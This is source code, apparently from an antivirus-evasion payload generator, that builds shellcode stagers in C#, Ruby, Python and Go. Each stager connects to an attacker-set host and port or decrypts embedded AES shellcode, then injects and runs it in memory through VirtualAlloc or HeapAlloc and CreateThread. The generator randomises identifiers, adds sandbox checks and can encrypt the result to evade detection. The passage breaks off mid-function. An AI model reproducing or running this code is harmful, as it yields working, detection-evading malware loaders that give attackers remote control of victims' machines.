payload_code += "namespace %s { class %s {\n" % (helpers.randomString(), helpers.randomString())
# code for the randomString() function
randomStringName = helpers.randomString()
bufferName = helpers.randomString()
charsName = helpers.randomString()
t = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")
random.shuffle(t)
chars = ''.join(t)
payload_code += "static string %s(Random r, int s) {\n" %(randomStringName)
payload_code += "char[] %s = new char[s];\n"%(bufferName)
payload_code += "string %s = \"%s\";\n" %(charsName, chars)
payload_code += "for (int i = 0; i < s; i++){ %s[i] = %s[r.Next(%s.Length)];}\n" %(bufferName, charsName, charsName)
payload_code += "return new string(%s);}\n" %(bufferName)
# code for the checksum8() function
checksum8Name = helpers.randomString()
payload_code += "static bool %s(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) %% 0x100 == 92);}\n" %(checksum8Name)
# code fo the genHTTPChecksum() function
genHTTPChecksumName = helpers.randomString()
baseStringName = helpers.randomString()
randCharsName = helpers.randomString()
urlName = helpers.randomString()
random.shuffle(t)
randChars = ''.join(t)
payload_code += "static string %s(Random r) { string %s = \"\";\n" %(genHTTPChecksumName,baseStringName)
payload_code += "for (int i = 0; i < 64; ++i) { %s = %s(r, 3);\n" %(baseStringName,randomStringName)
payload_code += "string %s = new string(\"%s\".ToCharArray().OrderBy(s => (r.Next(2) %% 2) == 0).ToArray());\n" %(randCharsName,randChars)
payload_code += "for (int j = 0; j < %s.Length; ++j) {\n" %(randCharsName)
payload_code += "string %s = %s + %s[j];\n" %(urlName,baseStringName,randCharsName)
payload_code += "if (%s(%s)) {return %s;}}} return \"9vXU\";}"%(checksum8Name,urlName, urlName)
# code for getData() function
getDataName = helpers.randomString()
strName = helpers.randomString()
webClientName = helpers.randomString()
sName = helpers.randomString()
payload_code += "static byte[] %s(string %s) {\n" %(getDataName,strName)
payload_code += "WebClient %s = new System.Net.WebClient();\n" %(webClientName)
payload_code += "%s.Headers.Add(\"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\");\n" %(webClientName)
payload_code += "%s.Headers.Add(\"Accept\", \"*/*\");\n" %(webClientName)
payload_code += "%s.Headers.Add(\"Accept-Language\", \"en-gb,en;q=0.5\");\n" %(webClientName)
payload_code += "%s.Headers.Add(\"Accept-Charset\", \"ISO-8859-1,utf-8;q=0.7,*;q=0.7\");\n" %(webClientName)
payload_code += "byte[] %s = null;\n" %(sName)
payload_code += "try { %s = %s.DownloadData(%s);\n" %(sName, webClientName, strName)
payload_code += "if (%s.Length < 100000) return null;}\n" %(sName)
payload_code += "catch (WebException) {}\n"
payload_code += "return %s;}\n" %(sName)
# code fo the inject() function to inject shellcode
injectName = helpers.randomString()
sName = helpers.randomString()
funcAddrName = helpers.randomString()
hThreadName = helpers.randomString()
threadIdName = helpers.randomString()
pinfoName = helpers.randomString()
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName)
payload_code += " if (%s != null) {\n" %(sName)
payload_code += " UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" %(funcAddrName, sName)
payload_code += " Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" %(sName,funcAddrName, sName)
payload_code += " IntPtr %s = IntPtr.Zero;\n" %(hThreadName)
payload_code += " UInt32 %s = 0;\n" %(threadIdName)
payload_code += " IntPtr %s = IntPtr.Zero;\n" %(pinfoName)
payload_code += " %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" %(hThreadName, funcAddrName, pinfoName, threadIdName)
payload_code += " WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" %(hThreadName)
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName)
payload_code += " if (%s != null) {\n" %(sName)
payload_code += ' UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(pinfoName, sName)
payload_code += ' UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(funcAddrName, pinfoName, sName)
payload_code += ' RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(funcAddrName, sName, sName)
payload_code += ' UInt32 {} = 0;\n'.format(threadIdName)
payload_code += ' IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, funcAddrName, threadIdName)
payload_code += ' WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(hThreadName)
# code for Main() to launch everything
sName = helpers.randomString()
randomName = helpers.randomString()
curlyCount = 0
payload_code += "static void Main(){\n"
payload_code2, curlyCount = gamemaker.senecas_games(self)
payload_code = payload_code + payload_code2
payload_code += "Random %s = new Random((int)DateTime.Now.Ticks);\n" %(randomName)
payload_code += "byte[] %s = %s(\"http://%s:%s/\" + %s(%s));\n" %(sName, getDataName, self.required_options["LHOST"][0],self.required_options["LPORT"][0],genHTTPChecksumName,randomName)
payload_code += "%s(%s);}\n" %(injectName, sName)
while (curlyCount != 0):
payload_code += '\t' * curlyCount + '}'
curlyCount -= 1
# get random variables for the API imports
r = [helpers.randomString() for x in range(12)]
y = [helpers.randomString() for x in range(17)]
if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11])
elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16])
if self.required_options["USE_ARYA"][0].lower() == "y":
payload_code = encryption.arya(payload_code)
self.payload_source_code = payload_code
return
def generate(self):
payload_code = "require 'rubygems';require 'win32/api';require 'socket';include Win32\n"
# Add logic for adding this line, stupid bug and I have no idea
# why this is even a problem, but ruby is dumb
if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X" or self.required_options["USERNAME"][0] != "X" or self.required_options["SLEEP"][0] != "X":
pass
else:
payload_code += "exit if Object.const_defined?(:Ocra)\n"
if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X":
payload_code += 'require \'socket\'\n'
payload_code2, num_ends_required = gamemaker.senecas_games(self)
payload_code = payload_code + payload_code2
# randomly generate out variable names
payloadName = evasion_helpers.randomString()
ptrName = evasion_helpers.randomString()
threadName = evasion_helpers.randomString()
valloc_random = evasion_helpers.randomString()
rtlmove_random = evasion_helpers.randomString()
createthread_random = evasion_helpers.randomString()
waitfor_random = evasion_helpers.randomString()
heapcreate_random = evasion_helpers.randomString()
heapalloc_random = evasion_helpers.randomString()
heap_name = evasion_helpers.randomString()
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "$" + valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n"
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += "$" + heapcreate_random + " = API.new('HeapCreate', 'III', 'I');$" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n"
payload_code += "$g_o = API.new('_get_osfhandle', 'I', 'I', 'msvcrt.dll')\n"
payload_code += "def g(ip,port)\n"
payload_code += "\tbegin\n"
payload_code += "\t\ts = TCPSocket.open(ip, port)\n"
payload_code += "\t\tpl = Integer(s.recv(4).unpack('L')[0])\n"
payload_code += "\t\tp = \" \"\n"
payload_code += "\t\twhile p.length < pl\n\t\tp += s.recv(pl) end\n"
payload_code += "\t\tp[0] = ['BF'].pack(\"H*\")\n"
payload_code += "\t\tsd = $g_o.call(s.fileno)\n"
payload_code += "\t\tfor i in 1..4\n\t\t\tp[i] = Array(sd).pack('V')[i-1] end\n"
payload_code += "\t\treturn p\n"
payload_code += "\trescue\n\treturn \"\"\n\tend\nend\n"
payload_code += "def ij(sc)\n"
payload_code += "\tif sc.length > 1000\n"
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "\t\tpt = $" + valloc_random + ".call(0,(sc.length > 0x1000 ? sc.length : 0x1000), 0x1000, 0x40)\n"
payload_code += "\t\tx = $" + rtlmove_random + ".call(pt,sc,sc.length)\n"
payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,pt,0,0,0),0xFFFFFFF)\n"
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += "\t\t$" + heap_name + " = $" + heapcreate_random + ".call(0x0004,(sc.length > 0x1000 ? sc.length : 0x1000), 0)\n"
payload_code += "\t\t$" + ptrName + " = $" + heapalloc_random + ".call($" + heap_name + ", 0x00000008, sc.length)\n"
payload_code += "\t\tx = $" + rtlmove_random + ".call($" + ptrName + ",sc,sc.length)\n"
payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,$" + ptrName + ",0,0,0),0xFFFFFFF)\n"
payload_code += "\tend\nend\n"
payload_code += "ij(g(\"%s\",%s))\n" % (self.required_options["LHOST"][0], self.required_options["LPORT"][0])
# Close out all the if statements
for iteration in range(num_ends_required):
payload_code += 'end\n'
self.payload_source_code = payload_code
return
def generate(self):
# randomize all of the variable names used
shellCodeName = evasion_helpers.randomString()
socketName = evasion_helpers.randomString()
getDataMethodName = evasion_helpers.randomString()
fdBufName = evasion_helpers.randomString()
rcvStringName = evasion_helpers.randomString()
rcvCStringName = evasion_helpers.randomString()
injectMethodName = evasion_helpers.randomString()
tempShellcodeName = evasion_helpers.randomString()
shellcodeBufName = evasion_helpers.randomString()
fpName = evasion_helpers.randomString()
tempCBuffer = evasion_helpers.randomString()
randctypes = evasion_helpers.randomString()
payload_code = "import struct, socket, binascii, ctypes as " + randctypes + ", random, time\n"
# How I'm tracking the number of nested tabs needed
# to make the payload
num_tabs_required = 0
payload_code2, num_tabs_required = gamemaker.senecas_games(self)
payload_code = payload_code + payload_code2
# socket and shellcode variables that need to be kept global
payload_code += '\t' * num_tabs_required + "%s, %s = None, None\n" % (shellCodeName,socketName)
# build the method that creates a socket, connects to the handler,
# and downloads/patches the meterpreter .dll
payload_code += '\t' * num_tabs_required + "def %s():\n" %(getDataMethodName)
payload_code += '\t' * num_tabs_required + "\ttry:\n"
payload_code += '\t' * num_tabs_required + "\t\tglobal %s\n" %(socketName)
# build the socket and connect to the handler
payload_code += '\t' * num_tabs_required + "\t\t%s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" %(socketName)
payload_code += '\t' * num_tabs_required + "\t\t%s.connect(('%s', %s))\n" %(socketName,self.required_options["LHOST"][0],self.required_options["LPORT"][0])
# pack the underlying socket file descriptor into a c structure
payload_code += '\t' * num_tabs_required + "\t\t%s = struct.pack('<i', %s.fileno())\n" % (fdBufName,socketName)
# unpack the length of the payload, received as a 4 byte array from the handler
payload_code += '\t' * num_tabs_required + "\t\tl = struct.unpack('<i', %s.recv(4))[0]\n" %(socketName)
payload_code += '\t' * num_tabs_required + "\t\t%s = b\" \"\n" % (rcvStringName)
# receive ALL of the payload .dll data
payload_code += '\t' * num_tabs_required + "\t\twhile len(%s) < l: %s += %s.recv(l)\n" % (rcvStringName, rcvStringName, socketName)
payload_code += '\t' * num_tabs_required + "\t\t" + rcvCStringName + " = " + randctypes + ".create_string_buffer(%s, len(%s))\n" % (rcvStringName,rcvStringName)
# prepend a little assembly magic to push the socket fd into the edi register
payload_code += '\t' * num_tabs_required + "\t\t%s[0] = binascii.unhexlify('BF')\n" %(rcvCStringName)
# copy the socket fd in
payload_code += '\t' * num_tabs_required + "\t\tfor i in range(4): %s[i+1] = %s[i]\n" % (rcvCStringName, fdBufName)
payload_code += '\t' * num_tabs_required + "\t\treturn %s\n" % (rcvCStringName)
payload_code += '\t' * num_tabs_required + "\texcept: return None\n"
# build the method that injects the .dll into memory
payload_code += '\t' * num_tabs_required + "def %s(%s):\n" %(injectMethodName,tempShellcodeName)
payload_code += '\t' * num_tabs_required + "\tif %s != None:\n" %(tempShellcodeName)
payload_code += '\t' * num_tabs_required + "\t\t%s = bytearray(%s)\n" %(shellcodeBufName,tempShellcodeName)
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
# allocate enough virtual memory to stuff the .dll in
payload_code += "\t\t" + fpName + " = " + randctypes + ".windll.kernel32.VirtualAlloc(" + randctypes + ".c_int(0)," + randctypes + ".c_int(len(" + shellcodeBufName + "))," + randctypes + ".c_int(0x3000)," + randctypes + ".c_int(0x40))\n"
# virtual lock to prevent the memory from paging out to disk
payload_code += "\t\t" + tempCBuffer + " = (" + randctypes + ".c_char * len(" + shellcodeBufName + ")).from_buffer(" + shellcodeBufName + ")\n"
# copy the .dll into the allocated memory
payload_code += "\t\t" + randctypes + ".windll.kernel32.RtlMoveMemory(" + randctypes + ".c_int(" + fpName + "), " + tempCBuffer + ", " + randctypes + ".c_int(len(" + shellcodeBufName + ")))\n"
# kick the thread off to execute the .dll
payload_code += "\t\tht = " + randctypes + ".windll.kernel32.CreateThread(" + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".c_int(" + fpName + ")," + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".pointer(" + randctypes + ".c_int(0)))\n"
# wait for the .dll execution to finish
payload_code += "\t\t" + randctypes + ".windll.kernel32.WaitForSingleObject(" + randctypes + ".c_int(ht)," + randctypes + ".c_int(-1))\n"
# Assume HEAP Injection
else:
HeapVar = evasion_helpers.randomString()
handleName = evasion_helpers.randomString()
payload_code += '\t' * num_tabs_required + "\t\t" + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + shellcodeBufName + ') * 2),' + randctypes + '.c_int(0))\n'
payload_code += '\t' * num_tabs_required + "\t\t" + fpName + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + shellcodeBufName + ')))\n'
payload_code += '\t' * num_tabs_required + "\t\t" + tempCBuffer + ' = (' + randctypes + '.c_char * len(' + shellcodeBufName + ')).from_buffer(' + shellcodeBufName + ')\n'
payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + fpName + '),' + tempCBuffer + ',' + randctypes + '.c_int(len(' + shellcodeBufName + ')))\n'
payload_code += '\t' * num_tabs_required + "\t\t" + handleName + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + fpName + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + handleName + '),' + randctypes + '.c_int(-1))\n'
# download the stager
payload_code += '\t' * num_tabs_required + "%s = %s()\n" %(shellCodeName, getDataMethodName)
# inject what we grabbed
payload_code += '\t' * num_tabs_required + "%s(%s)\n" % (injectMethodName, shellCodeName)
if self.required_options["USE_PYHERION"][0].lower() == "y":
payload_code = encryption.pyherion(payload_code)
self.payload_source_code = payload_code
return
def generate(self):
# Generate the variable names
randctypes = evasion_helpers.randomString()
ShellcodeVariableName = evasion_helpers.randomString()
rand_ptr = evasion_helpers.randomString()
rand_ht = evasion_helpers.randomString()
RandEncShellCodePayload = evasion_helpers.randomString()
RandCipherObject = evasion_helpers.randomString()
rand_virtual_protect = evasion_helpers.randomString()
# Generate the shellcode
if not self.cli_shellcode:
Shellcode = self.shellcode.generate(self.cli_opts)
if self.shellcode.msfvenompayload:
self.payload_type = self.shellcode.msfvenompayload
elif self.shellcode.payload_choice:
self.payload_type = self.shellcode.payload_choice
self.shellcode.payload_choice = ""
# assume custom shellcode
else:
self.payload_type = 'custom'
else:
Shellcode = self.cli_shellcode
Shellcode = Shellcode.encode('latin-1')
Shellcode = Shellcode.decode('unicode_escape')
payload_code, num_tabs_required = gamemaker.senecas_games(self)
# encrypt the shellcode and get our randomized key
encoded_ciphertext, encryption_key, iv_value = encryption.aes_encryption(Shellcode)
encoded_ciphertext = encoded_ciphertext.decode('ascii')
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
# Create Payload code
payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
payload_code += '\t' * num_tabs_required + 'from Crypto.Cipher import AES\n'
payload_code += '\t' * num_tabs_required + 'import base64\n'
payload_code += '\t' * num_tabs_required + RandCipherObject + ' = AES.new(\'' + encryption_key + '\', AES.MODE_CBC, \'' + iv_value + '\')\n'
payload_code += '\t' * num_tabs_required + RandEncShellCodePayload + ' = base64.b64decode(\'' + encoded_ciphertext + '\')\n'
payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = ' + RandCipherObject + '.decrypt(' + RandEncShellCodePayload + ')\n'
payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len('+ ShellcodeVariableName +')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x04))\n'
payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
payload_code += '\t' * num_tabs_required + rand_virtual_protect + ' = ' + randctypes + '.windll.kernel32.VirtualProtect(' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x20),' + randctypes + '.byref(' + randctypes + '.c_uint32(0)))\n'
payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n'
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
HeapVar = evasion_helpers.randomString()
# Create Payload code
payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
payload_code += '\t' * num_tabs_required + 'from Crypto.Cipher import AES\n'
payload_code += '\t' * num_tabs_required + 'import base64\n'
payload_code += '\t' * num_tabs_required + RandCipherObject + ' = AES.new(\'' + encryption_key + '\', AES.MODE_CBC, \'' + iv_value + '\')\n'
payload_code += '\t' * num_tabs_required + RandEncShellCodePayload + ' = base64.b64decode(\'' + encoded_ciphertext + '\')\n'
payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = ' + RandCipherObject + '.decrypt(' + RandEncShellCodePayload + ')\n'
payload_code += '\t' * num_tabs_required + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ') * 2),' + randctypes + '.c_int(0))\n'
payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + ShellcodeVariableName + ')))\n'
payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n'
if self.required_options["USE_PYHERION"][0].lower() == "y":
payload_code = encryption.pyherion(payload_code)
self.payload_source_code = payload_code
return
def generate(self):
memCommit = evasion_helpers.randomString()
memReserve = evasion_helpers.randomString()
pageExecRW = evasion_helpers.randomString()
kernel32 = evasion_helpers.randomString()
procVirtualAlloc = evasion_helpers.randomString()
size = evasion_helpers.randomString()
err = evasion_helpers.randomString()
wsadata = evasion_helpers.randomString()
socket = evasion_helpers.randomString()
socketAddr = evasion_helpers.randomString()
ip = self.required_options["LHOST"][0].split('.')
buf = evasion_helpers.randomString()
dataBuf = evasion_helpers.randomString()
flags = evasion_helpers.randomString()
qty = evasion_helpers.randomString()
scLength = evasion_helpers.randomString()
sc = evasion_helpers.randomString()
sc2 = evasion_helpers.randomString()
total = evasion_helpers.randomString()
mem = evasion_helpers.randomString()
buffer_variable = evasion_helpers.randomString()
handle = evasion_helpers.randomString()
x = evasion_helpers.randomString()
value = evasion_helpers.randomString()
cust_func = evasion_helpers.randomString()
heapcreatevariable = evasion_helpers.randomString()
heapallocvariable = evasion_helpers.randomString()
heapcreateout = evasion_helpers.randomString()
allocvarout = evasion_helpers.randomString()
errorvariable = evasion_helpers.randomString()
errorvariabledos = evasion_helpers.randomString()
constSize = evasion_helpers.randomString()
# sandbox check code
sandbox_checks, num_curlys = gamemaker.senecas_games(self)
payload_code = "package main\nimport (\n\"encoding/binary\"\n\"syscall\"\n\"unsafe\"\n"
if self.required_options["PROCESSORS"][0].lower() != "x":
payload_code += "\"runtime\"\n"
# Add in other imports based on checks being performed
if self.required_options["USERNAME"][0].lower() != "x":
payload_code += "\"strings\"\n\"os/user\"\n"
if self.required_options["MINPROCS"][0].lower() != "x":
payload_code += "\"os\"\n"
if self.required_options["HOSTNAME"][0].lower(
) != "x" or self.required_options["PROCCHECK"][0].lower() != 'false':
if "strings" not in payload_code:
payload_code += "\"strings\"\n"
if self.required_options["SLEEP"][0].lower() != "x":
payload_code += "\"net\"\n\"time\"\n\"encoding/binary\"\n"
if self.required_options["BADMACS"][0].lower() != 'false':
if "net" not in payload_code:
payload_code += "\"net\"\n"
if "strings" not in payload_code:
payload_code += "\"strings\"\n"
if self.required_options["UTCCHECK"][0].lower() != 'false':
if "time" not in payload_code:
payload_code += "\"time\"\n"
if self.required_options["CURSORCHECK"][0].lower() != 'false':
if "time" not in payload_code:
payload_code += "\"time\"\n"
payload_code += ")\n"
payload_code += "const (\n"
payload_code += "%s = 0x1000\n" % (memCommit)
payload_code += "%s = 0x2000\n" % (memReserve)
payload_code += "%s = 0x40\n)\n" % (pageExecRW)
payload_code += "var (\n"
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" % (
kernel32)
payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n)\n" % (
procVirtualAlloc, kernel32)
payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (
cust_func, size)
payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" % (
allocvarout, err, procVirtualAlloc, size, memReserve,
memCommit, pageExecRW)
payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (
allocvarout, err, allocvarout)
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n"
payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n"
payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n"
payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (
cust_func, size)
payload_code += heapcreateout + ", _, " + errorvariabledos + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n"
payload_code += allocvarout + ", _, " + errorvariabledos + " := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n"
payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (
allocvarout, errorvariabledos, allocvarout)
payload_code += "func main() {\n"
# Sandbox code goes here
if sandbox_checks != '':
payload_code += sandbox_checks
payload_code += "const %s = 1000 << 10\n" % (constSize)
payload_code += "var %s syscall.WSAData\n" % (wsadata)
payload_code += "syscall.WSAStartup(uint32(0x202), &%s)\n" % (wsadata)
payload_code += "%s, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)\n" % (
socket)
payload_code += "%s := syscall.SockaddrInet4{Port: %s, Addr: [4]byte{%s, %s, %s, %s}}\n" % (
socketAddr, self.required_options["LPORT"][0], ip[0], ip[1], ip[2],
ip[3])
payload_code += "syscall.Connect(%s, &%s)\n" % (socket, socketAddr)
payload_code += "var %s [4]byte\n" % (buf)
payload_code += "%s := syscall.WSABuf{Len: uint32(4), Buf: &%s[0]}\n" % (
dataBuf, buf)
payload_code += "%s := uint32(0)\n" % (flags)
payload_code += "%s := uint32(0)\n" % (qty)
payload_code += "syscall.WSARecv(%s, &%s, 1, &%s, &%s, nil, nil)\n" % (
socket, dataBuf, qty, flags)
payload_code += "%s := binary.LittleEndian.Uint32(%s[:])\n" % (
scLength, buf)
payload_code += "%s := make([]byte, %s)\n" % (sc, scLength)
payload_code += "var %s []byte\n" % (sc2)
payload_code += "%s = syscall.WSABuf{Len: %s, Buf: &%s[0]}\n" % (
dataBuf, scLength, sc)
payload_code += "%s = uint32(0)\n" % (flags)
payload_code += "%s = uint32(0)\n" % (qty)
payload_code += "%s := uint32(0)\n" % (total)
payload_code += "for %s < %s {\n" % (total, scLength)
payload_code += "syscall.WSARecv(%s, &%s, 1, &%s, &%s, nil, nil)\n" % (
socket, dataBuf, qty, flags)
payload_code += "for i := 0; i < int(%s); i++ {\n" % (qty)
payload_code += "%s = append(%s, %s[i])\n}\n%s += %s\n}\n" % (
sc2, sc2, sc, total, qty)
payload_code += "%s, _ := %s(uintptr(%s + 5))\n" % (mem, cust_func,
scLength)
payload_code += "%s := (*[%s]byte)(unsafe.Pointer(%s))\n" % (
buffer_variable, constSize, mem)
payload_code += "%s := (uintptr)(unsafe.Pointer(%s))\n" % (handle,
socket)
payload_code += "%s[0] = 0xBF\n" % (buffer_variable)
payload_code += "%s[1] = byte(%s)\n" % (buffer_variable, handle)
payload_code += "%s[2] = 0x00\n" % (buffer_variable)
payload_code += "%s[3] = 0x00\n" % (buffer_variable)
payload_code += "%s[4] = 0x00\n" % (buffer_variable)
payload_code += "for %s, %s := range %s {\n" % (x, value, sc2)
payload_code += "%s[%s+5] = %s\n}\n" % (buffer_variable, x, value)
payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (mem)
payload_code += '}' * num_curlys
self.payload_source_code = payload_code
return
def generate(self):
sumMethodName = evasion_helpers.randomString()
checkinMethodName = evasion_helpers.randomString()
randLettersName = evasion_helpers.randomString()
randLetterSubName = evasion_helpers.randomString()
randBaseName = evasion_helpers.randomString()
downloadMethodName = evasion_helpers.randomString()
hostName = evasion_helpers.randomString()
portName = evasion_helpers.randomString()
requestName = evasion_helpers.randomString()
tName = evasion_helpers.randomString()
injectMethodName = evasion_helpers.randomString()
dataName = evasion_helpers.randomString()
byteArrayName = evasion_helpers.randomString()
ptrName = evasion_helpers.randomString()
bufName = evasion_helpers.randomString()
handleName = evasion_helpers.randomString()
data2Name = evasion_helpers.randomString()
proxy_var = evasion_helpers.randomString()
opener_var = evasion_helpers.randomString()
randctypes = evasion_helpers.randomString()
payload_code = "import urllib.request, string, random, ctypes as " + randctypes + "\n"
# How I'm tracking the number of nested tabs needed
# to make the payload
num_tabs_required = 0
payload_code2, num_tabs_required = gamemaker.senecas_games(self)
payload_code = payload_code + payload_code2
# helper method that returns the sum of all ord values in a string % 0x100
payload_code += '\t' * num_tabs_required + "def " + sumMethodName + "(s): return sum([ord(ch) for ch in s]) % 0x100\n"
# method that generates a new checksum value for checkin to the meterpreter handler
payload_code += '\t' * num_tabs_required + "def " + checkinMethodName + "():\n\tfor x in range(64):\n"
